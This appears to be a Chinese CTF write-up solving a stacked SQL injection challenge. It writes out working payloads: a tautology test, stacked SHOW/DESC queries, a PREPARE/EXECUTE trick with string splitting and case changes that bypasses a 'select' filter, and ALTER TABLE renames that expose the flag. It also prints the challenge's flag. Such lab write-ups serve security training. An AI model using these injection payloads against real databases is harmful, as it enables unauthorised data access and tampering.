第三题——[强网杯 2019]随便注

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,一个输入栏,通过题目可知是sql注入攻击

在这里插入图片描述

第二步:测试SQL语句

输入1' or 1=1 #,出现了当前表中的所有数据
在这里插入图片描述

第三步:使用堆叠注入查看表名

  1. 输入1';show tables;查看所有的表,发现有两个表,一个是words表,另一个是1919810931114514表。
    在这里插入图片描述

  2. 输入1';desc words#查看words表里的内容,里面有id,data两栏。
    在这里插入图片描述

  3. 输入1';desc1919810931114514#查看1919810931114514表里的内容,有我们想要的flag。
    在这里插入图片描述

第四步:使用select取得flag

输入1';select * from '1919810931114514';取得表中的flag,发现被拦截,从拦截提示中发现过滤了select,update等函数。
在这里插入图片描述

第五步:使用预编译绕过select限制

输入1';set @sql = CONCAT('se','lect * from '1919810931114514';');prepare stmt from @sql;EXECUTE stmt;#查看flag.

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

发现还是被拦截
在这里插入图片描述

查看提示发现使用strstr函数进行拦截,由于strstr不能区分大小写,将刚才的输入改为大写开头
等价于1';Set @sql = CONCAT('se','lect * from '1919810931114514';');Prepare stmt from @sql;EXECUTE stmt;#,提价后得到flag:flag{89c5d790-b14d-4661-9fdf-4aa4e41188ff}
在这里插入图片描述

思路二

在第三步查看表的字段信息时发现,在输入栏输入1' or 1=1 #会显示words表里的所有信息,猜测默认执行语句时指定的是words表,我们可以通过修改表明的方式,将1919810931114514表的名字修改为words,之后执行1' or 1=1 #就可以看到flag了。

修改表名

原理

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

具体语句

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

查询flag

输入1' or 1=1 #就可以看到flag了
在这里插入图片描述

堆叠注入原理

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句
eg:select * from users;show databases;

猜你喜欢

转载自blog.csdn.net/qq_37589805/article/details/115353583